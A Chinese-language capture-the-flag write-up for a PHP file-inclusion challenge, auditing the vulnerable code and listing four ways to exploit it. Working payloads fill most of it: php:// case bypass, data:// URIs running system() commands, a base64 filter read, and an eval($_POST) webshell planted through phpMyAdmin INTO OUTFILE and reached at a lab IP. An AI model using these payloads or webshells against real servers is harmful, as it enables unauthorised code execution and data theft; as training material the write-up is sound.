Web_php_include
思路
审计代码
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
可以看到这里直接include($page),$page参数我们可以进行控制,并且用的是str_replace()函数进行过滤,当匹配到php://
时就把该部分替换为空,我们可以用别的协议进行绕过,也可大小写
注意这里有个while循环,故单纯的用phphp://p://
是无法进行绕过的
思路一
利用php://input协议
虽然过滤了php://,但是我们可以通过大小写绕过
构造payload
?page=Php://input
POST_DATA:<?php system('ls') ?>
然后得到目录
再在
POST_DATA:<?php system('cat fl4gisisish3r3.php'); ?>
得到flag
这里如果利用hackbar,可能post包会交不上去,也不知道为啥,在执行cat文件时,flag并不会显示在页面上,要查看源代码才能看到,这是为啥,也不清楚。。
思路二
利用data协议
构造payload
?page=data://text/plain,<?php system('ls'); ?>
?page=data://text/plain,<?php system('cat fl4gisisish3r3.php'); ?>
这里直接在url上执行,用bp的时候不知道为什么执行不了,但是换个编码就行了,不知道为啥,一脑迷
在bp上执行不了的原因是空格要进行url编码,用+或者%20代替空格才可以执行,类似的还有如果cd%20%26%26ls,%26表示&,如果直接输入&也会执行不了。
所以在bp中构造
?page=data://text/plain,<?php+system('cat%20fl4gisisish3r3.php')%20?>
当我们用&时,%26代替
?page=data://text/plain,<?php+system('cat%20phpinfo.php%26%26cat+fl4gisisish3r3.php')%20?>
也可以直接用data协议挂马
?page=data://text/plain,%3C?php%20@eval($_POST[%27hacker%27]);%20?%3E
直接往蚁剑上粘贴
http://220.249.52.133:53841/?page=data://text/plain,%3C?php%20@eval($_POST[%27hacker%27]);%20?%3E
密码hacker,就连上了后台
思路三
?page=Php://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php
再base64解码下
思路四
用dirsearch扫一下,发现有phpmyadmin文件
进去之后,账号root,密码为空(可能默认这样)
然后在sql语句中执行
show variables like "secure_file_priv"
- 当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
- 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
查询为空,说明可以导入和导出文件
执行
select "<?php @eval($_POST['hacker']); ?>" into outfile '/tmp/hacker.php'
注意 select 后面的要写入的文件内容是用双引号引起的,因为如果用单引号的话会与'hacker'中的单引号进行闭合导致报错,在sql语句中还是尽量使用双引号。
便可在/tmp下找到小马,Linux下一般/tmp文间夹下允许导入文件,如果换成其他文件夹就会报错,然后蚁剑连接。
http://220.249.52.133:39182/?page=/tmp/hacker.php
上述特舒情况,用php://input最好用bp,用data协议就直接在url上输入就行